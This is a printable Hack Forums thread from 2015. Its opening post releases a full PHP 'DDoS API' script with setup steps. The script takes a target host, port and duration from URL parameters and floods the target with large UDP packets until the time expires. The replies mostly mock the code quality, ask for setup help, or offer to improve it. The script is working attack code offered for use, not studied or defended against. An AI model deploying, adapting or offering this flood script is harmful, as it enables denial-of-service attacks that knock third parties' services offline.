Hack Forums
[PHP] DDOS API Script | DDOS Script Built In to PHP File - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Web Development (https://hackforums.net/forumdisplay.php?fid=183)
+---- Thread: [PHP] DDOS API Script | DDOS Script Built In to PHP File (/showthread.php?tid=4661537)

Pages: Pages 1 2


DDOS API Script | DDOS Script Built In to PHP File - Flacko. - Jan 29, 2015

My last DDoS API I released was very messy, sloppy, and have duplicated code in it. I have made this DDoS API much simpler, as the UDP Attack script is built into the script itself, so there is no need for extra packages. If you need help with anything, feel free to contact me.

Tutorial:
1. Upload to server web folder. Usually (/var/www/html)
2. Edit the api.php file, and change the API to your desired key.
3. Open the PHP file in your web-browser and enjoy!

Code
<?php #$_GET Requests
$apikey    = $_GET['apikey'];
$host      = $_GET['host'];
$port      = $_GET['port'];
$exec_time = $_GET['time'];
$method    = $_GET['method'];

#DDoS Info
$max_boot_time      = "3601"; #Change to desired max boot time, then +1. Example: 5000, make it 5001. ** DO NOT ADD QUOTATION MARKS(,) **
$max_boot_time_show = "3,600 seconds."; #Change this to the desired max boot time you already picked above. Do not remove (seconds.).
$key            = "123"; #Change this with your desired login key.
$time             = time();
$max_time      = $time + $exec_time;
$packets      = 0;

#Script Settings
set_time_limit(0);
ignore_user_abort(FALSE);

#API Verification
if ($apikey == null) {
    ob_end_clean();
    echo 'Enter your API Key.';
} else {
}

#Main
if ($apikey == $key) {
    if ($host == null) {
      echo "Invalid Format: Enter a host.</br>Format:?api=123&host=127.0.0.1&port=80&time=10";
    } else {
      if ($port == null) {
      echo "Invalid Format: Enter a port.</br>Format:?api=123&host=127.0.0.1&port=80&time=10";
      } else {
      if ($time == null) {
            echo "Invalid Format: Enter boot time.</br>Format:?api=123&host=127.0.0.1&port=80&time=10";
      } else {
            if ($exec_time >= $max_boot_time) {
            echo 'Your max boot time is ' . $max_boot_time_show . '';
            } else {
            for ($i = 0; $i < 65535; $i++) {
            $out .= "X";
            }
            while (1) {
            $packets++;
            if (time() > $max_time) {
            break;
            }

            $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
            if ($fp) {
            fwrite($fp, $out);
            fclose($fp);
            }
            }
            echo '[UDP FLOOD]: Attack has been sent to ' . $host . ' for ' . $exec_time . ' second(s).';
            }
      }
      }
    }
} else {
    echo 'Invalid API Key';
}
?>

selinux version.
Spoiler (Click to View)


* - MineSQL - Jan 30, 2015

(Jan 29, 2015 11:56 PM)Tosca Wrote:  My last DDoS API I released was very messy, sloppy, and have duplicated code in it. I have made this DDoS API much simpler, as the UDP Attack script is built into the script itself, so there is no need for extra packages. If you need help with anything, feel free to contact me.

Tutorial:
1. Upload to server web folder. Usually (/var/www/html)
2. Edit the api.php file, and change the API to your desired key.
3. Open the PHP file in your web-browser and enjoy!

Ew: http://www.minesql.me/paste/B18 (Edit fixed a typo)

At least use functions or SOMETHING. You did some weird shit with time. That UDP 'flood' won't do shit all, your basically pinging the IP...


* - Michael J. Scofield - Jan 31, 2015

(Jan 30, 2015 12:42 AM)MineSQL Wrote:  Ew: http://www.minesql.me/paste/B18 (Edit fixed a typo)

At least use functions or SOMETHING. You did some weird shit with time. That UDP 'flood' won't do shit all, your basically pinging the IP...

Thank you both for this!
You really helped me out with this and im not even kidding🤝


* - ASDA - Jan 31, 2015

https://hackforums.net/showthread.php?tid=3651198


* - Black_Tulip - May 29, 2015

the script not working or idk how to setit up can someone help me ? Any video tutorial!


* - Remix - May 30, 2015

A ddos script written in php isnt really useful because php's performance isnt really good.
Better use a c/c++ script.


* - c x y k - May 30, 2015

This is making me cringe real bad.


* - DAVEologist - May 31, 2015

Oh my god. This is horrible.


* - Dr.1337 - Jun 1, 2015

(May 31, 2015 05:21 AM)DAVEologist Wrote:  Oh my god. This is horrible.

Well, why you all don't appreciate that user wanted to share that with us instead of criticizing his work?


* - Alex™ - Jun 1, 2015

(May 31, 2015 05:21 AM)DAVEologist Wrote:  Oh my god. This is horrible.

(May 30, 2015 06:08 AM)ĸondaх Wrote:  This is making me cringe real bad.

Instead of insulting his work why don't you actual contribute to it?


* - Datageni - Jun 2, 2015

Do you use GitHub? The code needs a bit of repairing, I'll help out and contribute with bug fixes and improvements.


* - McDaw - Jun 2, 2015

I can help too if it's needed


* - ASDA - Jun 2, 2015

(May 30, 2015 06:05 AM)[iRemix] Wrote:  A ddos script written in php isnt really useful because php's performance isnt really good.
Better use a c/c++ script.

dos*

the reason why you shouldn't use dos scripts in PHP is not due to performance at all, where the fuck have you got that from? the reason why PHP is not normally used is because of it's quite high up in the network stack.


* - DeXtr0 - Jun 13, 2015

This is dont work man ...


* - Elin - Jun 13, 2015

Please start to use functions & switches.